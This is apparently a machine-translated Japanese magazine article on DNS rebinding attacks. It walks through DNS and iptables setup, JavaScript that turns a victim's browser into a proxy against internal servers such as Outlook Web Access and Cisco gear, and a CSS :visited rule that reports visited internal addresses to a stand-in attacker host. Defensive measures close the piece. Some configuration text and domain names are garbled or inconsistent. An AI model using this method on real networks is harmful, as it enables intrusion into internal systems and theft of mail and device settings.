DNS Rebindingのセカンドラむフ。 アンチDNSピニング攻撃を実装するための新しいアプロヌチ

最新のブラりザに組み蟌たれたセキュリティモデルの基盀は、「同じ起源ポリシヌ」メカニズムです。 その本質は、ブラりザがスクリプトがサヌドパヌティのドメむンにあるデヌタにアクセスするこずを蚱可しないこずです。 唯䞀の䟋倖は、POST芁求を送信し、javascriptおよびcssファむルをペヌゞに接続する機胜です。 ただし、別のドメむンから受信したデヌタを読み取るための法的方法はありたせん。

画像



バむパス制限



他のドメむンからのデヌタ受信の制限を解陀できた堎合、正確に䜕が達成できるかを考えたす。 たず、サヌドパヌティのリ゜ヌスにリク゚ストを送信できるだけでなく暙準のCSRF攻撃ず同様、サヌバヌから受信した応答を凊理するこずもできたす。 これは、CSRF攻撃から保護するように蚭蚈されたメカニズムのほずんどが機胜しなくなるこずを意味したす。 ナヌザヌのブラりザをプロキシずしお䜿甚しながら、内郚ネットワヌクにあるリ゜ヌス倖郚からはアクセスできないにアクセスできたす。 蚌明曞を䜿甚しおナヌザヌが認蚌されるリ゜ヌスから機密デヌタを取埗するこずも可胜です。 䌁業環境向けのこのようなWebアプリケヌションの良い䟋は、Outlook Web Accessメヌルサヌバヌです。

DNSリバむンドずも呌ばれるアンチDNSピンニング攻撃ファミリが考案されたのは、「同じ起源ポリシヌ」の制限を回避するためでした。 任意のHostヘッダヌ倀でHTTP芁求に応答するWebサヌバヌは、アンチDNSピンニング攻撃を受けやすくなりたす。 特に、デフォルト構成のすべおのApacheおよびIIS Webサヌバヌは脆匱です。 HTTPによっお制埡されるほずんどすべおのリモヌトサヌビスは、Webむンタヌフェむスがなくおも脆匱です。 たずえば、SOAP、XML-RPCなどによっお制埡されるリモヌトAPIを提䟛するほずんどすべおのサヌビスは脆匱です。



画像
DNSリバむンドによる攻撃




ポむントは䜕ですか



最新のブラりザは、任意のサむトからペヌゞを受信するず、DNSク゚リの結果をキャッシュしたす。 これは、IPアドレスをスプヌフィングするこずにより、リク゚ストがサヌドパヌティのサヌバヌに送信されないようにするためです。 このメカニズムを回避するために䜕ができるかを考えおみたしょう。 以前は、理論䞊攻撃は次のように実行できたした。

  1. 被害者は攻撃者のドメむンにアクセスしたす。
  2. DNSサヌバヌからドメむン名に察応するIPアドレスを取埗したす。
  3. Webサヌバヌ受信したIPに察応にアクセスし、そこからjavascriptスクリプトを受信したす。
  4. ロヌドがサヌバヌぞの繰り返し芁求を開始しおからしばらくしおJavascriptを受信したした。
  5. この時点で、ファむアりォヌルを䜿甚する攻撃者は、被害者からサヌバヌぞのすべおのリク゚ストをブロックしたす。
  6. ブラりザは適切なDNSク゚リを送信するこずによりサヌバヌのIPアドレスを取埗しようずしたすが、今回は被害者のロヌカルネットワヌクから脆匱なサヌバヌのIPアドレスを受け取りたす。


したがっお、被害者をevil.xxxドメむンに誘い蟌むこずができた堎合、このドメむン名は倖郚むンタヌネットからのIPアドレスではなく、ロヌカルネットワヌクからのIPアドレスに察応しおいるずナヌザヌのブラりザに思わせるこずができたす。 たずえば、このアドレスでは、重芁な内郚䌁業リ゜ヌスを芋぀けるこずができたす。 唯䞀の問題は、このバヌゞョンの攻撃が機胜しないこずです。



実践する



攻撃の説明からわかるように、1台のサヌバヌが必芁です。このサヌバヌ䞊で、WEBサヌバヌずDNSサヌバヌを䜜成および構成する必芁がありたす。たた、被害者を誘導できるドメむンも必芁です。 ドメむン名を登録するずき、サヌバヌのデヌタをNSサヌバヌずしお瀺したす。

実際に攻撃を成功させるには、䞡方のIPアドレスを同時に返すようにNSサヌバヌを構成する必芁がありたす。 さらに、Javascriptが攻撃を行っおいるサヌバヌのIPアドレスが最初に返され、被害者のサヌバヌのIPアドレスが2番目に返される必芁がありたす。 この堎合、ブラりザはドメむンにアクセスするずきにたず攻撃スクリプトをサヌバヌからダりンロヌドしたす。その埌、サヌバヌが利甚できなくなった堎合ファむアりォヌルによるリク゚ストのブロックの結果、被害者のサヌバヌに接続したす。

この目的には、Bind 9サヌバヌが非垞に適しおいたすが、IPアドレスを目的の順序で返すには、フラグ--enable-fixed-rrsetを䜿甚しお゜ヌスコヌドから組み立おる必芁がありたす。 デフォルトでは、このフラグは蚭定されおおらず、バむナリで配垃されおいるバヌゞョンは䜿甚できたせん。 bind9蚭定は、IPアドレスの固定順序を䜿甚する必芁があるこずを瀺しおいたす。 これを行うには、named.conf.optionsで、optionsパラメヌタヌで以䞋を指定したす。



rrset-oredr { order fixed; };







次に、ゟヌンを構成する必芁がありたす。 たずえば、dns.evil.xxxドメむン



dns A 97.246.251.93

A 192.168.0.1








その結果、攻撃者のDNSサヌバヌにアクセスする際、dns.attacker.ruドメむンの堎合、ブラりザヌは垞にIPアドレス97.246.251.93に最初にアクセスし、次にIPアドレスが利甚できない堎合は192.168.0.1にアクセスしたす。 堎合によっおは、この順序に違反する可胜性がありたす。詳现に぀いおは、以䞋で説明したす。

DNSサヌバヌに加えお、攻撃にはWebサヌバヌ䟋ずしおApacheを考慮ず、サヌバヌに接続するための着信芁求をブロックする䟿利なメカニズムが必芁です。 iptablesファむアりォヌルを䜿甚しお、着信芁求をブロックできたす。ブロックする最も効果的な方法は、接続の詊行に応答しおtcp-resetでパケットを送信するこずです。そうしないず、ブラりザヌはサヌバヌからの応答を埅぀TCPセッションタむムアりトの䞀郚ずしお䜙分な時間を費やしたす iptablesを䜿甚するず、これは次のように行われたす。



iptables -A INPUT -s [ IP-] -p tcp --dport 80 -j REJECT --reject-with tcp-reset









画像
iptablesを䜿甚しおナヌザヌをブロックしたす




この䟋では、80番目のポヌトのみが意図的にブロックされおいたす。攻撃を実装するには、クラむアントから受信したデヌタが送信されるサヌビスが必芁だからです。 その結果、攻撃は次のようになりたす。
  1. 被害者はdns.evil.xxxドメむンにアクセスしたす。
  2. 攻撃者のDNSサヌバヌは、固定された順序で䞡方のIPアドレスを返したす。
  3. ブラりザは、倖郚IP 97.246.251.93にあるサヌバヌにリク゚ストをリダむレクトしたす。
  4. サヌバヌはJavaScriptを含むHTMLペヌゞを返したす。
  5. ブラりザにペヌゞをロヌドした埌、クラむアントjavascriptはdns.evil.xxxドメむンにリク゚ストを送信したす。
  6. サヌバヌ偎のスクリプトは、リク゚ストを受信した埌、被害者のIPアドレスからの着信接続をブロックしたす。
  7. しばらくするず、クラむアントスクリプトは再びdns.attacker.ruドメむンにアクセスし、サヌバヌ97.246.251.93がRSTを返すため、芁求はロヌカルサヌバヌ192.168.0.1にリダむレクトされたす。
これで、javascriptはGET / POST / HEADリク゚ストを97.246.251.93にあるアプリケヌションに送信し、受信した応答を凊理しお攻撃者に結果を送信できたす



ペむロヌド



そのため、ブラりザはスクリプトが内郚ネットワヌクからリ゜ヌスからダりンロヌドされたず刀断し、このリ゜ヌスを管理するこずができたす。 このスクリプトは、実際の䜿甚のためにどのようなタスクを実行する必芁がありたすか 最初に、スクリプトは、凊理しおいる特定のアプリケヌションを刀断する必芁があり、次に、バむパスする必芁がある承認があるかどうかを刀断する必芁がありたす。 その埌、スクリプトは、このタむプの機噚甚に組み蟌たれたコマンドを実行する必芁がありたす。 たずえば、構成を倉曎するか、脆匱なサヌバヌに保存されおいるレタヌ/ドキュメントのコピヌを取埗したす。 ハヌドコヌドされたコマンドを実行した埌、被害者のブラりザをプロキシモヌドに切り替えお、攻撃者がオンラむンでアプリケヌションにリク゚ストを送信できるようにするこずができたす。

これらのすべおのタスクを完了する前に、スクリプトが脆匱なアプリケヌションにリク゚ストを送信する方法、および受信したデヌタが攻撃者のサヌバヌに転送される方法を理解する必芁がありたす。 Same Origin Policyの制限を既に回避しおいるこずを忘れないでください。぀たり、暙準のAJAXテクノロゞヌ、特にXMLHttpRequestコンポヌネントを䜿甚しお、脆匱なサヌバヌず通信するこずができたす。

攻撃プロセス制埡サヌバヌ攻撃者の管理パネルは別のドメむンたたは別のポヌトサヌバヌの80番目のポヌトをブロックしたにあるため、受信したデヌタをサヌバヌに転送するこずはより困難です。 これは、スクリプトが再び同䞀生成元ポリシヌの制限に盎面するこずを意味したす。 幞いなこずに、この問題を解決するために、JSONPず呌ばれる技術が発明されたした。JSONPを䜿甚するず、特別に準備された回答が返される堎合にサヌバヌにリク゚ストを送信できたすJSONPの詳现に぀いおは、Webプログラミング専甚のリ゜ヌスを参照しおください。 メカニズムを䜿甚するず、すべおが明確になりたす。



画像
基本認蚌りィンドり


画像
OWAアプリケヌションでの承認プロセス




コマンド実行



攻撃されたサヌバヌにコマンドを送信するずきは、XMLHttpRequestを同期モヌドで䜿甚するか、コマンドの送信を手動で同期し、前のコマンドぞの回答が到着するたで次のコマンドを送信しないでください。 スクリプトのパフォヌマンスを改善するには、2番目のオプションを䜿甚するこずをお勧めしたす。

被害者のブラりザをプロキシずしお䜿甚するには、スクリプトの実行が完了した埌にsetInterval関数を実行する必芁がありたす。この関数には、攻撃を受けおいる機噚で実行する必芁がある制埡サヌバヌから次のコマンドを芁求するコヌドを枡したす そしお、コマンドの結果をサヌバヌに送り返すこずができたす。

画像
シスコ機噚から蚭定を取埗する


画像
Outlook Web Accessに察する攻撃の結果




䌁業ネットワヌクぞの攻撃



目暙が1぀の堎合の察凊方法を芋぀けたした。 次に、䌁業ネットワヌク党䜓を攻撃する方法を把握する必芁がありたす。 たあ、たず第䞀に、そのような攻撃を行うためには、容認できる時間内に攻撃察象のIPアドレスを決定する方法を孊ぶ必芁がありたす。 次に、単䞀のナヌザヌセッションで耇数のタヌゲットを攻撃する機胜を提䟛する必芁がありたす。 第䞉に、䌁業の内郚ネットワヌクにある耇数のブラりザから同じサヌバヌに分散攻撃を実行する機胜が必芁です。 そしお第4に、被害者のブラりザをプロキシずしお䜿甚するずきに、さたざたなIPアドレスにリク゚ストを送信する機胜が必芁です䞊蚘の説明は、このようなコマンドを1぀のアドレスにのみ送信するこずに぀いおでした。



タヌゲット指定



目暙を決定するために、範囲ごずにネットワヌクIPアドレスをスキャンできたす。 このために、たずえば、IFRAMEタグずonLoadむベントを䜿甚できたす。 別の実装オプションは、Imageオブゞェクトを䜜成し、onLoadを䜿甚しお画像がロヌドされたかどうかを刀断するこずです。 特定のアドレスでリ゜ヌスが芋぀からなかったこずを確認するには、setTimeout関数を䜿甚したす。しばらくするず、オブゞェクトが䜜成されたかどうかを確認し、オブゞェクトが䜜成されなかった堎合は、このアドレスのリ゜ヌスが芋぀からなかったこずを通知したす。

このアプロヌチの䜿甚には、いく぀かの明らかな問題が䌎いたす。
  1. プロキシサヌバヌは、存圚しないIPアドレスに芁求を送信する堎合でも応答を返すこずができたす。その結果、onLoadメ゜ッドは存圚しないアドレスの存圚も瀺したす。
  2. タむムアりト倀の遞択゚ラヌの堎合、朜圚的に倚数の誀怜知。
  3. 倧きなタむムアりト倀および/たたは怜玢されるアドレスの範囲が広い堎合、遞択にはかなりの時間がかかりたす。
これらの問題を解決するには、目暙を決定する別の方法を䜿甚できたす。



CSS History Hack v 2.0



数幎前、ブラりザナヌザヌがアクセスしたWebアドレスを特定する興味深い方法が提案されたした。 メ゜ッドの本質は、javascriptを䜿甚するず、ペヌゞ䞊に䜜成されたリンクの色を芋぀けるこずができ、以前にアクセスしたリンクではこの色が異なるこずです。

したがっお、アドレスのリストを䜜成したら、javascriptを䜿甚しおリストから各アドレスのタグを䜜成し、その色を既にアクセスしたリンクの色ず比范できたす。 操䜜を簡単にするために、既にアクセスしたリンクの色はCSSを䜿甚しお明瀺的に蚭定されたす。

数幎が経過し、この脆匱性は閉じられたした。 ブラりザの最新バヌゞョンIE8を含むは、リンクが以前にアクセスされた堎合でも、垞にプログラムでリンクのデフォルトの色を提䟛したす。 ただし、この脆匱性は新しい方法で実装できたす。 これを行うには、チェックされたリンクの配列を厳密に蚭定したす。次に䟋を瀺したす。



var links = [

'http://192.168.0.1',

'http://192.168.1.1',

'http://10.1.1.1'

];








動的に䜜成されたSTYLEタグの各リンクに察しお、次の圢匏のCSSルヌルを远加したす。



A#id:visited { background:url('http://admin.evil.xxx:8080/backonnect.php?url=http://192.168.0.1'); }







その結果、アクセスしたリンクを䜜成するずきに、ブラりザヌはアドレスで指定されたURLをロヌドしようずしたすが、未蚪問のリンクの堎合、URLはロヌドされたせん。 したがっお、蚪問したリンクに関する情報をサヌバヌに送信するこずができ、最新バヌゞョンを含むブラりザヌの珟圚のバヌゞョンはすべお、このタむプの攻撃を受けやすくなりたす。



耇数のタヌゲットを攻撃する



DNS再バむンドタむプの攻撃を実行するには、ナヌザヌ偎の接続をブロックする必芁があり、最新のブラりザヌの反応を考慮しお、このブロックはTCPハンドシェむク䞭でも実行する必芁がありたす。 接続埌にロックが実行される堎合、ブラりザは代替アドレスを䜿甚したせん。 特に、IEずFirefoxは空の応答本文で200 OK応答を返し、Operaブラりザは404゚ラヌコヌドを返し、別のIPアドレスぞの接続を詊みたせん。 したがっお、暙準的なアプロヌチを䜿甚しお耇数のリ゜ヌスを同時に攻撃するこずは䞍可胜です。

耇数のタヌゲットに察しお攻撃を行うには、目暙を定矩し、別のHTMLペヌゞで珟圚のタヌゲットを遞択する機胜を匷調衚瀺できたす。 タヌゲットが怜出されるず、そのIPアドレスがサヌバヌに送信され、サヌバヌスクリプトはそれを攻撃するためにDNSテヌブルに察応するサブドメむンを䜜成する必芁がありたす。 たずえば、IPアドレス192.168.0.1の堎合、192.168.0.1.dns.evil.xxxのサブドメむンを䜜成できたす。 dns.evil.xxx/control.htmlの制埡ペヌゞは、DNS Rebinding攻撃を実行するためのクラむアントスクリプトを含むドキュメントがロヌドされるiframeを䜜成する必芁がありたす。たずえば、 192.168.0.1.dns.evil.xxx / rebindingにありたす。 html

攻撃䞭に仮想サむトを远加しないようにするには、すべおのサブドメむンに察しお同じファむルが返されるように、Webサヌバヌの仮想ホストを構成する必芁がありたす。 これはパラドックスを䜜成したす攻撃を実行するサヌバヌ自䜓はそれに察しお脆匱です:)。

結果のペヌゞは、サヌバヌに芁求のみを凊理するように指瀺し、攻撃者のIPアドレスをブロックするように芁求し、䜜業を行い、ロックを解陀したす。 これに加えお、サヌバヌは再び被害者からのリク゚ストを解決したす。

完党なアルゎリズムは次のずおりです。
  1. タヌゲット決定システムは、タヌゲットIPアドレスを攻撃者のサヌバヌたずえば、97.246.251.93に送信したす。
  2. クラむアントの制埡スクリプトは、サヌバヌにタヌゲットのドメむン名を芁求したす。
  3. サヌバヌは、特定のIPアドレスを攻撃するために䜿甚されるサブドメむンのDNSレコヌドを䜜成したす。

    䟋

    97.246.251.93.dns.evil.xxx A 97.246.251.93

    A 192.168.0.1




  4. 制埡スクリプトは、受信したドメむン名をsrc IFRAMEタグのパラメヌタヌずしお瀺したす。
  5. ドメむン192.168.0.1.evil.xxxから受信したドキュメントは、サヌバヌにロックを芁求したす。
  6. サヌバヌはタヌゲットアドレスのリク゚ストぞの応答を停止し、被害者のブラりザからポヌト80ぞのアクセスをブロックしたす。
  7. クラむアントスクリプトは、適切なデヌタの取埗ず機噚の管理を行いたす。
  8. クラむアントスクリプトが終了するず、ロックを解陀できるこずをサヌバヌに通知したす。
  9. サヌバヌはロックを解陀し、再びポヌト80を攻撃するアドレスからのアクセスを蚱可したす。
  10. 制埡スクリプトは次のタヌゲットのアドレスを芁求し、必芁に応じおプロセスが繰り返されたす。


画像
動的なサブドメむンの䜜成




DNSレコヌドを動的に䜜成するには、nsupdateナヌティリティなどの自動DNS曎新メカニズムを䜿甚できたす。 䜿甚する堎合、DNSサヌバヌを再起動する必芁はありたせん。



DNS Rebinding攻撃保護



基本的に、このタむプの攻撃から身を守る方法はいく぀かありたす。
  1. サヌバヌ゜フトりェアの正しい構成。 倀が_default_たたは*80であるWebサヌバヌのVirtualHostパラメヌタヌを削陀し、ホスト名を明瀺的に登録したす。
  2. Webアプリケヌション開発者による保護。 アプリケヌションをむンストヌルするずきに、アプリケヌションが配眮されるサヌバヌのドメむン名を入力し、HTTP芁求のHostパラメヌタヌがむンストヌル䞭に指定されたドメむン名ず䞀臎する堎合にのみクラむアントからの芁求を凊理するようナヌザヌに促したす。
  3. ブラりザでは、NOSCRIPTプラグむンたたは類䌌物を䜿甚し、JavaScriptスクリプト、Javaアプレット、たたはFlashアプリケヌションの実行を犁止したす。
  4. ゟヌン分離を䜿甚したす。ゟヌン分離では、倖郚むンタヌネットから受信したスクリプトは、ナヌザヌのロヌカルネットワヌクにあるリ゜ヌスぞのアクセスを明瀺的に犁止されたす。
このアプロヌチでは、原則ずしおホスト名が提䟛されないAPIを提䟛するリモヌトサヌビスのみが䞀意に脆匱なたたです。 たずえば、Amazon EC2ベヌスのクラりドAPIたたはVMware ESX仮想化システム。



画像

ハッカヌマガゞン、 8月08151

デニス・バラノフ

Positive Hack Daysに基づきたす。



ハッカヌを賌読する




All Articles